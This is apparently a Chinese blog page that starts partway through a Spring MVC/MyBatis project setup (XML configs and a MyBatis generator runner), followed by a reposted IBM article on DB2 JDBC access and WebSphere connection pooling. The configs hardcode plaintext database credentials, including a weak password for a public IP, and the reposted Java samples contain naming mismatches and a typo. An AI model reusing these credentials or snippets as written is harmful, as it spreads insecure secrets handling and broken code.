       http://www.springframework.org/schema/mvc/spring-mvc-3.0.xsd">

    <!-- 扫描web相关的bean -->
    <context:component-scan base-package="site.suimu.controller"/>

    <!-- 开启SpringMVC注解模式 -->
    <mvc:annotation-driven/>

    <!-- 静态资源默认servlet配置 -->
    <mvc:default-servlet-handler/>

    <!-- 配置jsp 显示ViewResolver -->
    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
        <property name="viewClass" value="org.springframework.web.servlet.view.JstlView"/>
        <property name="prefix" value="/WEB-INF/views/"/>
        <property name="suffix" value=".jsp"/>
    </bean>

</beans>

 
logback.xml 日志配置文件
 
<?xml version="1.0" encoding="UTF-8"?>
<configuration debug="true">
    <appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
        <encoder>
            <pattern>%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</pattern>
        </encoder>
    </appender>
    <root level="debug">
        <appender-ref ref="STDOUT"/>
    </root>
</configuration>
 
mybatis-generatorConfig.xml 逆向工程配置文件
 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE generatorConfiguration
        PUBLIC "-//mybatis.org//DTD MyBatis Generator Configuration 1.0//EN"
        "http://mybatis.org/dtd/mybatis-generator-config_1_0.dtd">
<generatorConfiguration>

    <context id="DB2Tables" targetRuntime="MyBatis3">

        <!-- 是否去除自动生成的代码中的注释 true：是 false：否-->
        <commentGenerator>
            <property name="suppressDate" value="true"/>
            <property name="suppressAllComments" value="true"/>
        </commentGenerator>

        <!-- 数据库连接信息：驱动类、连接地址、用户名、密码 -->
        <jdbcConnection driverClass="com.mysql.jdbc.Driver"
                        connectionURL="jdbc:mysql://47.100.116.143/ssm"
                        userId="ssmUser"
                        password="123456">
        </jdbcConnection>

        <!-- 默认 false，把 JDBC DECIMAL 和 NUMERIC 类型解析为 Integer
             为 true 时解析为 java.math.BigDecimal -->
        <javaTypeResolver>
            <property name="forceBigDecimals" value="false"/>
        </javaTypeResolver>

        <!-- targetProject：生成 POJO 类的位置 -->
        <javaModelGenerator targetPackage="site.suimu.pojo"
                            targetProject="src/main/java">
            <!-- enableSubPackages：是否让 schema 作为包的后缀-->
            <property name="enableSubPackages" value="false"/>
            <!-- trimStrings：从数据库返回的值被清理前后的空格 -->
            <property name="trimStrings" value="true"/>
        </javaModelGenerator>

        <!-- targetProject：生成xml映射文件存放位置 -->
        <sqlMapGenerator targetPackage="mapper"
                         targetProject="src/main/resources">
            <!-- enableSubPackages：是否让 schema 作为包的后缀-->
            <property name="enableSubPackages" value="true"/>
        </sqlMapGenerator>

        <!-- targetProject：生成mapper接口存放位置 -->
        <javaClientGenerator type="XMLMAPPER"
                             targetPackage="site.suimu.mapper"
                             targetProject="src/main/java">
            <!-- enableSubPackages：是否让 schema 作为包的后缀-->
            <property name="enableSubPackages" value="true"/>
        </javaClientGenerator>

        <!--生成对应表及类名
            tableName:要生成的表名
            domainObjectName:生成后的实例名
            enableCountByExample:Count语句中加入where条件查询，默认为true开启
            enableUpdateByExample:Update语句中加入where条件查询，默认为true开启
            enableDeleteByExample:Delete语句中加入where条件查询，默认为true开启
            enableSelectByExample:Select多条语句中加入where条件查询，默认为true开启
            selectByExampleQueryId:Select单个对象语句中加入where条件查询，默认为true开启
        -->

        <table tableName="airplane"
               domainObjectName="Airplane"
               enableCountByExample="false"
               enableUpdateByExample="false"
               enableDeleteByExample="false"
               enableSelectByExample="true"
               selectByExampleQueryId="false">
            <property name="useActualColumnNames" value="true"/>
            <property name="my.isgen.usekeys" value="true"/>
            <generatedKey column="id" sqlStatement="JDBC"/>
        </table>

        <table tableName="menu"></table>
        <table tableName="t_user"></table>
    </context>
</generatorConfiguration>
 
TestMyBatisGenerator.java 文件名随便，位置随便 运行 main 即可
 
import org.mybatis.generator.api.MyBatisGenerator;
import org.mybatis.generator.api.ShellCallback;
import org.mybatis.generator.config.Configuration;
import org.mybatis.generator.config.xml.ConfigurationParser;
import org.mybatis.generator.internal.DefaultShellCallback;

import java.io.File;
import java.util.ArrayList;
import java.util.List;


public class TestMyBatisGenerator {

    public static void main(String[] args) throws Exception {
        // warnings 为用于放置生成过程中警告信息的集合对象
        List<String> warnings = new ArrayList<String>();
        // 指定是否覆盖重名文件
        boolean overwrite = true;
        // 加载配置文件
        File configFile = new File(MyBatisGenerator.class.getClassLoader().getResource("mybatis-generatorConfig.xml").toURI());
        // 配置解析类
        ConfigurationParser cp = new ConfigurationParser(warnings);
        // 配置解析类解析配置文件并生成 Configuration 配置对象
        Configuration config = cp.parseConfiguration(configFile);
        // ShellCallback 负责如何处理重复文件
        ShellCallback callback = new DefaultShellCallback(overwrite);
        // 逆向工程对象
        MyBatisGenerator myBatisGenerator = new MyBatisGenerator(config, callback, warnings);
        // 执行逆向文件生成操作
        myBatisGenerator.generate(null);
        // 打印提示信息
        System.out.println("MyBatis 逆向工程执行成功，刷新项目查看文件！");
    }
}
 
OK 可以愉快的开发了
 
我本人比较懒，有什么问题下面留言，佛系回复

引用  http://www.ibm.com/developerworks/cn/data/library/techarticles/dm-0512zhanghzh/
 
 
 
2005 年 1 月 04 日
 

 IBM DB2 数据库在 J2EE Web Application 中应用日趋广泛，如何快速高效地访问 IBM DB2 数据库成为开发人员关心的话题。本文首先介绍如何快速的利用 IBM DB2 提供的 JDBC 驱动程序通过 Java API 进行数据库接口开发，然后进一步介绍如何在 WebSphere Application Server 6.0 中配置数据库连接池 (Connection Pool)，更加高效地访问 IBM DB2 数据库，最后通过一致的代码接口，使得 Web 开发人员更加透明的访问 IBM DB2 数据库。
 


 
简介
 
IBM DB2 数据库在 J2EE Web Application 中应用日趋广泛，如何快速高效地访问 IBM DB2 数据库成为开发人员关心的话题。本文首先介绍如何快速的利用 IBM DB2 提供的 JDBC 驱动程序通过 Java API 进行数据库接口开发，然后进一步介绍如何在 WebSphere Application Server 6.0 中配置数据库连接池 (Connection Pool)，更加高效地访问 IBM DB2 数据库，最后通过一致的代码接口，使得 Web 开发人员更加透明的访问 IBM DB2 数据库。
 
本文的示例环境：
 
WebSphere Application Server 6.0 on RedHat AS3.0
IBM DB2 Universal Database v8.2
Rational Software Architect v6.0
 
 
 
 

 
    

回页首
 
 

 
通过 JDBC 驱动程序 Java API 方式访问数据库
 
对任何一个典型的数据库，通过 JDBC 驱动程序访问必须经过如下步骤：
 
1) 导入 JDBC 驱动程序；
 
2) 建立数据库连接；
 
3) 执行 SQL 语句；
 
4) 获取执行结果；
 
5) 关闭数据库连接。
 
下面详细描述各个步骤。
 
1. 新建一个 Java Project
 
打开 Rational Software Architect, 单击 "File"，然后选择 "Project"，再选择 "Java Project"，单击 "Next"，然后输入项目名字，比如 "DB2Access"，然后单击 "Finish"。
 

 
2. 导入JDBC驱动程序
 
单击 "DB2Access" 项目，单击右键，然后单击 "Properties"，然后选择 "Java Build Path"，选中 "Libraries" 标签；
 

 
单击 "Add External Jars"，选择目录到 DB2 安装目录下的 lib 库，通常为 C:/Program Files/IBM/SQLLIB/java，选择 "db2jcc.jar"，"db2jcc_license_cisuz.jar"，"db2jcc_license_cu.jar"，然后单击"OK"。
 

 
至此，已经成功引入 IBM DB2 JDBC 驱动程序。
 
3. 新建数据库连接
 
右键单击 DB2Access 项目，然后单击 "New"，选择 "Class"，在 package 中输入 com.test，在 Name 中输入 ConnectionProvider，然后单击 "OK"。己建好数据库名字 DBTest，建有表 IDTable，表中有一字段为 ID。为 ConnectionProvider 类新加方法 getConnectionProvider()，具体代码如下：
 
 
 
 
public static final String DB2DRIVER="com.ibm.db2.jcc.DB2Driver";
public static final String DB2URL="jdbc:db2://10.1.1.54:50000/GBPMDB";
public static final String DB2USER="db2inst1";
public static final String DB2PASSWORD="passw0rd";
public static Connection getConnectionByJDBC() throws SQLException{
    		Connection conn = null;
    		try {
                Class.forName(DB2DRIVER).newInstance();
                conn= DriverManager.getConnection(DB2URL, DB2USER, DB2PASSWORD);
                System.out.println("Andrew: getConnection ok");//$NON-NLS-1$
            } catch (InstantiationException e) {
                System.out.println("Andrew: InstantiationException!");//$NON-NLS-1$
            } catch (IllegalAccessException e) {
                System.out.println("Andrew: IllegalAccessException!");//$NON-NLS-1$
            } catch (ClassNotFoundException e) {
                System.out.println("Andrew: ClassNotFoundException!");//$NON-NLS-1$
            }
    		return conn;
}
 
 
 
 
4. 执行一个查询类 SQL 语句
 
右键单击 DB2Access 项目，然后单击 "New"，选择 "Class"，在 package 中输入com.test，在Name中输入 RequestIDManager，然后单击 "OK"。
 

 
假定数据库里有一张表为 Request 表，该表有一个字段为 RequestID，类型为 Integer。 添加 getRequestID() 函数，取得该域的值，具体代码如下：
 
 
 
 
private static final String getRequestIDSqlString = "SELECT REQUESTID FROM REQUEST";
public static String getRequestID(){
    	String id = null;
    	Connection conn = null;
    	Statement sm = null;
    	ResultSet rs = null;
    	try{
    		conn = ConnectionProvider.getConnection();
    		sm = conn.createStatement();
    		rs = sm.executeQuery(getRequestIDSqlString);
    		if(rs.next()){
    			id = rs.getString(1);
    			System.out.println("Andrew: RequestID = "+id);//$NON-NLS-1$
    		}else{
    		    System.out.println("Andrew: No record ID exists!");//$NON-NLS-1$
    		}
    	}catch(SQLException e){
    	    System.out.println("Andrew: SQL exception "+e.toString());//$NON-NLS-1$
    	}finally{
			try {
				if(null != rs){
					rs.close();
				}
				if(null != sm){
					sm.close();
				}
				if(null != conn){
					conn.close();
				}
			} catch (SQLException e) {
			}
    	}
    	return id;
    }
    
 
 
 
 
5. 执行更新类 SQL 语句
 
添加新方法 updateRequestID() 函数，该函数将 RequestID 字段的值自增 1，具体代码如下：
 
 
 
 
private static final String updateRequestIDSqlString = "update request set requestid=requestid+1";

     public static boolean updateRequestID(){
        String id = null;
    	Connection conn = null;
    	Statement sm = null;
    	ResultSet rs = null;
    	boolean ret = false;
    	try{
    		conn = ConnectionProvider.getConnection();
    		sm = conn.createStatement();
    		int affectedCount = sm.executeUpdate(updateRequestIDSqlString);
    		if(affectedCount > 0)
    		    ret = true;
    		System.out.println("Andrew: update requestID ok, affectedCount =
			"+affectedCount);//$NON-NLS-1$
    		
    	}catch(SQLException e){
    	    System.out.println("Andrew: SQL exception "+e.toString());//$NON-NLS-1$
    	}finally{
			try {
				if(null != rs){
					rs.close();
				}
				if(null != sm){
					sm.close();
				}
				if(null != conn){
					conn.close();
				}
			} catch (SQLException e) {
			}
    	}
    	return ret;
}
 
 
 
 
6. 关闭数据库连接
 
上面的两个示例代码中的 Finally 块里代码即为关闭数据库连接操作。
 
 
 
 
   finally{
			try {
				if(null != rs){
					rs.close();
				}
				if(null != sm){
					sm.close();
				}
				if(null != conn){
					conn.close();
				}
			} catch (SQLException e) {
			}
    	}
    	
 
 
 
 
7. 测试访问数据库代码
 
可以在 ReportIDManager 中写 Main 函数，测试 getRequestID 和 updateRequestID方法，具体代码如下：
 
 
 
 
public static void main(String[] args) {
        getRequestID();
        updateRequestID();
}
 
 
 
 
8. 运行测试代码
 
以 Java application 的方式运行该程序，得到输出类似如下：
 
 
 
 
Andrew: getConnection ok
Andrew: RequestID = 15912
Andrew: getConnection ok
Andrew: update requestID ok, affectedCount = 1
 
 
 
 
至此，我们已经用 JavaAPI 完成读写 IBM DB2 数据库的基本操作，可以将 com.test 导出为 jar 包，供 Web Application 以及其他 J2EE 程序使用。
 
 
 
 

 
    

回页首
 
 

 
数据库连接池简介
 
Web Application 往往用数据库存储的信息生成 Web 页面，每一个页面请求导致一次数据库访问。连接数据库需要开销一定的通讯和内存资源，还必须完成用户验证这类任务，因而往往成为非常耗时的操作，而关闭网页时又需要关闭与数据库建立的连接。
 
数据库连接池模式正是为了解决资源的频繁分配﹑释放所造成的问题。数据库连接池的基本思想就是为数据库连接建立一个"缓冲池"。预先在缓冲池中放入一定数量的连接，当需要建立数据库连接时，只需从"缓冲池"中取出一个，使用完毕之后再放回去。我们可以通过设定连接池最大连接数来防止系统无尽的与数据库连接。更为重要的是我们可以通过连接池的管理机制监视数据库的连接的数量﹑使用情况，并有效的提高系统测试性能。
 
一个典型的连接池中的连接过程如图所示：
 

 
首先由用户发出请求，比如 HTTP 请求 JSP 页面，对应的 JSP 页面需要进行数据库操作，向连接池管理器发出请求数据库连接，连接池数据库从数据库连接池中获取一条数据库连接，返回给JSP，当该数据库操作结束，JSP页面释放数据库连接，连接库管理器将该连接放回数据库连接池。建立释放数据库连接的过程中，连接池管理器没有直接访问数据库，而是访问数据库连接池，即从数据库连接池中获得连接，释放连接到数据库连接池。数据库连接池和数据库之间由 J2EE 容器来管理，下文中可以看到 WebSphere Application Server 中如何配置数据库连接池的参数属性。连接池管理器提供给 J2EE 应用程序获取连接和释放连接的编程接口和直接访问数据库的 Java 编程接口完全一致，因此，数据库连接池技术对 J2EE 应用程序来说几乎是透明的（除了初始化阶段有所不同），应用程序完全像直接访问数据库一样访问数据库连接池。
 
 
 
 

 
    

回页首
 
 

 
在 WebSphere Application Server 6.0 中配置连接池
 
WebSphere Application Server 很好的支持连接池模式，由容器来管理与数据库之间的连接，并在性能上有明显的改善。下面介绍如何在 WebSphere Applicatin Server 6.0 中为 IBM DB2 配置连接池。
 
1) 通过 http://wasip:9060/admin 登陆控制台窗口，点击 "Resource"，再点击 "JDBC Provider"；
 

 
2) 单击 "new"，在 "Step1 Select Database type" 中选择 "DB2"，在 "Step2 Select the provider type" 中选择 "DB2 JDBC Universal JDBC Connection Provider"，在 "Step 3 Select the implementation type" 中选择 "Connection Pool data source"；
 

 
3) 单击 "next"，在 "Name" 中输入该 JDBC Provider 在 WebSphere Application Server 中的名字如 "DB2ConnectionPool Test"，其他为默认值；
 

 
4) 点击 "Apply"；
 

 
5) 点击 "Data Source"；
 

 
6) 单击 "New"，在 "Name" 中输入 "DB2ConnectionPool Test"，在 "JNDI Name" 中输入 "jdbc/DB2ConnectionPool"；
 

 
7) 在 "Database Name" 中输入 "TestDB"，在 "Server Name" 中填入 IBM DB2 所在的机器的地址，在 "Port" 中填入 IBM DB2 运行时监听的端口，一般为默认 50000；
 

 
8) 点击 "Apply"；
 

 
9) 点击 "Related Items" 里的 "J2EE Conenctor Architecture(J2C) authentication data entries"；
 

 
10) 点击 "New"，在 "Alias" 中输入该认证的名字 "TestDB2ConnectionPoolAuth"，在 user 和 password 中分别输入 IBM DB2 所需验证的用户名和密码；
 

 
11) 点击 "OK"，在 "J2EE Connector Architecture (J2C) authentication data entries" 列表里可以看到新添加的认证数据项；
 

 
12) 点击导航栏的 "JDBC Provider"，然后点击 "DB2ConnectionPool Test"，然后点击 "Data Source"，然后点击 "DB2ConnectionPoolTest"，进入配置页面，在 "Component-managed authentication alias" 中选择 "localhostNode01/TestDB2ConnectionPoolAuth"。
 

 
13) 点击 "OK"；
 

 
14) 点击 "Save" 保存所做配置；
 
15) 选中 DB2ConectionPoolTest 的复选框，然后单击 Test Connection，显示测试成功。
 

 
如果出现 ClassNotFoundException，快速解决方法是将 IBM DB2 JDBC 驱动文件db2jcc.jar"，"db2jcc_license_cisuz.jar"，"db2jcc_license_cu.jar"）拷贝到 WebSphere Application Server 6.0 的库里，并重新启动 WebSphere Application Server；
 
16) 配置连接池具体属性。点击 "DB2ConnectionPool Test"，然后在 "Additional Properties" 中点击 "Connection Pool Properties"；
 

 
17) 可以设置最小连接数，最大连接数等属性，也可以使用默认配置。
 

 
至此，我们已经完成 WebSphere Application Server 中 Connection Pool 的配置。
 
 
 
 

 
    

回页首
 
 

 
在 J2EE Web Application 中调用连接池
 
1. 修改 getConnection 代码
 
修改上文的 ConnectionProvider中的 getConnection 代码如下并新增初始化 JNDI lookup 代码如下：
 
 
 
 
public static final String CONNECTIONPOOL_JNDINAME = "java:comp/env/DB2ConnectionPool";
static{
        initConnection();
    }
    protected static void initConnection(){
		try{
			InitialContext ctx = new InitialContext();
connectionPoolDataSource=(DataSource)  ctx.lookup(CONNECTIONPOOL_JNDINAME);
			System.out.println("Andrew: Init Connection Pool JNDI ok");//$NON-NLS-1$

     		}catch(NamingException ne){
			System.out.println("Andrew: initConnectoin failed");//$NON-NLS-1
		}
	}
    public static Connection getConnection() throws SQLException{
        Connection conn = null;
		if(null != connectionPoolDataSource){
			conn = connectionPoolDataSource.getConnection();
		}
		if(conn == null){
				throw new SQLException();
		}
		return conn;
    }
    
 
 
 
 
2. 项目导出为 Jar 包
 
1) 单击 "File"，然后单击 "Export…"，选择 "Jar files"，选择 DB2Access 的 com.test 包，填写 jar 包名字，如 DB2ConnectionPool.jar；
 

 
2) 单击 "Finish"。生成的 jar 包即可供 Web Application 调用。
 
3. 新建 Dynamic Web Project
 
1) 单击 "File"，然后单击 "New"，单击 "Project"，选择 "Dynamic Web Project"；
 

 
2) 单击 "Next"，输入项目名字比如 "ConnectionPoolTestWeb"；
 

 
3) 单击 "Finish"；
 
4) 将 DB2ConnectionPool.jar 和IBM DB2 JDBC驱动文件 "db2jcc.jar"，"db2jcc_license_cisuz.jar"，"db2jcc_license_cu.jar"）拷贝至 ConnectionPoolTestWeb 项目中的 WebContent/WEB-INF/lib 中；
 

 
5) 新建 "test.jsp"，右键单击 "ConnectionPoolTestWeb"，选择 "new"，单击 "JSP File"；
 

 
6) 输入 JSP 页面名称 test.jsp，单击 "Finish"，JSP 上添加代码如下：
 
 
 
 
<%@ page import = "com.test.*" %>
<BODY>
before update: id = <%= RequestIDManager.getRequestID() %>
<% RequestIDManager.updateRequestID(); %>
<br>
after update: id = <%= RequestIDManager.getRequestID() %>
</BODY>
 
 
 
 
7) 双击 WebContent/WEB-INF/Web.xml,选中 "Reference" 标签；
 

 
8) 单击 "Add"，选择 "Resource environment Reference"；
 

 
9) 单击 "Next"，在 Name 中输入 " DB2ConnectionPool"，在 Type 中选择 javax.sql.DataSource；
 

 
10) 点击 Finish；
 
11) 在 WebSphere Bindings 栏的 jndi name 中输入 jdbc/DB2ConnectionPool；
 

 
12) 保存 Web.xml 配置；
 
13) 将 ConnectionPoolTestWeb 项目导出为 Ear 包。单击 "File"，选择 "Export…"，单击 "Export…"；
 

 
14) 选择 "EAR file"，单击 "Next"，选择 "ConnectionPoolTestWebEar" 项目，输入导出文件名字如 "ConnectionPoolTestWeb.ear"；
 

 
15) 单击"Finish"。
 
4. 发布 ConnectionPoolTestWeb.ear
 
1) 登陆 http://wasip:9060/admin；
 
2) 单击 "Install new application"；
 
3) 安装过程和发布普通 EAR 包一样。值得注意的是安装的第三步 "Map Resource env entry references to resource"，勾中复选框即可；
 

 
4) 安装完毕后保存 WebSphere Application Server 配置；
 
5) 并启动 ConnectionPoolTestWeb 项目。
 
5. 查看运行结果
 
1) 在浏览器中输入 http://wasip:9080/ConnectionPoolTestWeb/test.jsp；
 
2) 运行结果如下：
 

 
 
 

 
    

回页首
 
 

 
数据库连接池性能测试以及分析
 
我们对 getRequestID 和 updateRequestID 进行的两个版本进行性能测试。测试前，务必去掉代码中的打印等调试语句。测试 getRequestID，updateRequestID 方法，每个方法迭代 100 次，共测试 5 次。
 
测试代码：
 
 
 
 
int times = 100;
Date beginGetRequestID = new Date();
for(int i = 0; i < times; ++i){
	getRequestID();
}
Date endGetRequestID = new Date();
long elapsedGetRequestID = endGetRequestID.getTime()-beginGetRequestID.getTime();
System.out.println("Andrew: getRequestID consumed = "+ elapsedGetRequestID +"ms");
Date beginUpdateRequestID = new Date();
for(int i = 0; i < times; ++i){
	updateRequestID();
}
Date endUpdateRequestID = new Date();
long elapsedUpdateRequestID = endUpdateRequestID.getTime()-beginUpateRequestID.getTime();
System.out.println("Andrew: updateRequestID consumed = "+ elapsedUpdateRequestID +"ms");
 
 
 
 
测试结果（单位 ms）：
 

图解：（NCP）为该方法不采用连接池实现版本，(CP)为该方法采用连接池实现版本。
 
测试分析：
 
从测试数据可以看出，在短查询操作 getRequestID 方法中，使用连接池技术性能提高了 25 倍，耗时仅为非连接池技术的 4%，updateRequestID 操作使用连接池技术后性能提高了 9 倍，耗时仅为非连接池技术的 11%！我们采用 T1 表示建立数据库连接所花费时间，T2 表示执行 SQL 语句操作数据库花费时间，T3 表示关闭数据库连接所花费时间，而 T 表示整个操作数据库方法所花费总时间。用 _CP 表示连接池版本实现，_NCP 表示非连接池实现版本，P=连接池技术耗时/非连接池技术耗时，则 P = (T1_CP+T2+T3_CP)]/T_NCP，从连接池中获取释放连接耗时 (T1+T3) 可以看成一个常数 C，那么 P=(T2+C)/T_NCP。由此可见，当执行数据库操作部分在整个操作中占的比例越小，性能提高的越明显。此类短操作包括一般数据查询操作，少量数据更新，而 Web Application 对数据库的操作有很大部分为此类操作，比如查询更新某用户信息等，示例程序的 getRequest,updateRequest 均为典型短操作方法。
 
 
 
 

 
    

回页首
 
 

 
小结
 
通过 Java API，以 JDBC 的方式访问数据库编程简单，而利用 WebSphere Application Server 6.0 容器管理数据库连接池，具有可重用性，高效性，特别适合复杂 J2EE 应用程序。
 

 
关于作者
 
 
 
 
 
张黄瞩，熟悉 WebSphere Business Integration Server Foundation，WebSphere Process Server v6.0，对业务整合有较大兴趣。爱好篮球。您可以通过 zhanghuangzhu@gmail.com 与他联系。